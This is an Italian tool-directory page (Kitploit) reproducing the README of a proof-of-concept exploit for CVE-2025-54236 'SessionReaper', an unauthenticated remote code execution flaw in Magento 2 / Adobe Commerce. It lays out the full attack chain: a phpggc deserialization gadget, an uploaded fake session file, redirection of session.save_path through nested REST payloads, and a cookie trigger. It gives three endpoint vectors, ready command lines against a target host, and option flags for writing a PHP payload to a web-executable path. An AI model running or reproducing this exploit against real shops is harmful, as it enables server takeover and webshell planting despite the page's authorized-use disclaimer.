Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/alexb616/sessionreaper-cve-2025-54236
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubalexb616/sessionreaper-cve-2025-54236

SessionReaper-CVE-2025-54236

PoC Magento Session Reaper - CVE-2025-54236

Vedi Repository
1203 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SessionReaper — CVE-2025-54236

PoC unificato per CVE-2025-54236 ("SessionReaper"), una RCE critica non autenticata in Magento 2 / Adobe Commerce tramite deserializzazione annidata nella REST API.

  • CVSS: 9,1 (Critico)
  • Causa principale: Validazione input impropria (CWE-20) in ServiceInputProcessor; la primitiva di exploit è deserializzazione non sicura (CWE-502)
  • Ricercatore originale: Daniel "Blaklis" Le Gall (divulgazione responsabile tramite HackerOne)
  • Nome coniato da: Sansec
  • Corretto in: Adobe APSB25-88 (patch di emergenza, 2025-09-09)

Solo per test di sicurezza autorizzati. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta.


Cosa fa

Lo strumento concatena tre fasi comuni a ogni vettore, più un trigger:

  1. Generazione gadget — phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> costruisce un oggetto serializzato che scrive payload.php su <remote_path> quando viene deserializzato.
  2. Caricamento sessione falsa — POST /customer/address_file/upload memorizza il blob serializzato come sess_<SESSID>. Magento distribuisce i file di indirizzo caricati in base ai primi caratteri del nome file, quindi finisce in media/customer_address/s/e/sess_<SESSID> (da qui s/e/ in --save-path).
  3. Redirezione save_path — un payload REST annidato costruisce Session\Config e, tramite setSavePath() → setOption() → ini_set('session.save_path', ...) (un effetto collaterale globale di processo), punta il gestore di sessione PHP al blob caricato.
  4. Trigger — una richiesta con Cookie: PHPSESSID=<SESSID> forza session_start() a leggere e unserialize() il file avvelenato, attivando il gadget e scrivendo il payload.

Vettori

Tutti e tre i vettori raggiungono lo stesso sink (context → urlBuilder → session → sessionConfig → savePath). Differiscono solo per endpoint, verbo HTTP e modulo Magento coinvolto — utile quando un WAF o un modulo disabilitato blocca un endpoint ma non un altro.

MetodoEndpointVerboPunto di ingresso nella catena
order/rest/<store>/V1/guest-carts/abc/orderPUTpaymentMethod → paymentData → Payment\Helper\Data
checkmo/rest/<store>/V1/guest-carts/abc/set-payment-informationPOSTpaymentMethod → paymentData → Payment\Helper\Data
address/rest/<store>/V1/guest-carts/abc/estimate-shipping-methodsPOSTaddress → addressConfig → addressHelper → Customer\Helper\Address

Nessun carrello reale è richiesto per alcun vettore. ServiceInputProcessor deserializza i parametri del metodo durante la risoluzione dell'input — prima che il servizio invochi qualsiasi ricerca del carrello — quindi un cartId fittizio di abc raggiunge il sink in tutti e tre. Il successivo errore "carrello non trovato" (404/500) è previsto e conferma che l'effetto collaterale della deserializzazione è già scattato.

Un flag --sku è disponibile se si desidera che lo strumento crei un carrello ospite reale e aggiunga un prodotto prima del trigger (verificato tramite GraphQL). Questo è opzionale e non necessario per lo sfruttamento — esiste solo per ambienti in cui si preferisce un flusso di checkout completamente realistico. Omettendolo, lo strumento utilizza il carrello fittizio abc.


Prerequisiti

  • Archiviazione sessione basata su file (var/session/). Le sessioni basate su Redis e database non sono influenzate da questa specifica catena RCE. Non è enumerabile da remoto, quindi deve essere tentata alla cieca.
  • /customer/address_file/upload raggiungibile senza autenticazione.
  • Target non patchato (pre-APSB25-88 / pre-hotfix 2.4.x).

Requisiti

  • Python 3.8+ con requests
  • phpggc — rilevato automaticamente in PATH, percorsi di installazione comuni, o scaricato come immagine Docker ambionics/phpggc come fallback
  • payload.php nella stessa directory dello script (deve iniziare con <?php)
pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc   # or: docker pull ambionics/phpggc

Utilizzo

# order (vettore originale) — nessun carrello, nessuna credenziale
python3 session_reaper.py --host https://target.com --method order

# checkmo — endpoint pagamenti, ambito store spagnolo per la REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es

# address — endpoint spedizione
python3 session_reaper.py --host https://target.com --method address --api-store all

# opzionale: esegue un flusso di carrello reale con uno SKU noto (non richiesto)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001

Opzioni

FlagPredefinitoDescrizione
--host(obbligatorio)URL di base del target
--method(obbligatorio)address | checkmo | order
--storedefaultCodice store per la richiesta trigger (e carrello, se --sku è usato)
--api-storedefaultCodice store nell'URL dell'endpoint di deserializzazione (all | es | default | custom)
--sku(nessuno)Opzionale. Se impostato, crea un carrello ospite reale con questo SKU. Non richiesto.
--payload-inpayload.phpPayload PHP da scrivere sul target
--payload-out/var/www/html/pub/errors/404.phpPercorso di scrittura remota (deve essere una posizione eseguibile dal web — vedere nota sotto)
--save-pathmedia/customer_address/s/e/savePath iniettato nella catena del gadget
--phpggc(auto)Percorso esplicito al binario phpggc
--proxyhttp://127.0.0.1:8081Proxy HTTP (es. Burp)
--no-proxyoffDisabilita il proxy
--username / --password(nessuno)Credenziali cliente opzionali per un token Bearer

Ambiti store

Lo strumento utilizza due codici store indipendenti:

  • --api-store — l'ambito nell'URL della richiesta di deserializzazione (/rest/<api-store>/V1/guest-carts/...), dove viene eseguito ServiceInputProcessor.
  • --store — l'ambito per la richiesta trigger (GET /<store>/) e, se --sku è usato, per le richieste del carrello.

I codici delle viste store sono definiti dall'amministratore; non dare per scontato es/fr. Enumera prima le viste store attive — una richiesta contro un ambito inesistente fallisce semplicemente.


Target del payload — perché pub/errors/404.php

La configurazione Nginx predefinita di Magento passa solo sette file PHP a fastcgi_backend:

index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
Scarica lo strumento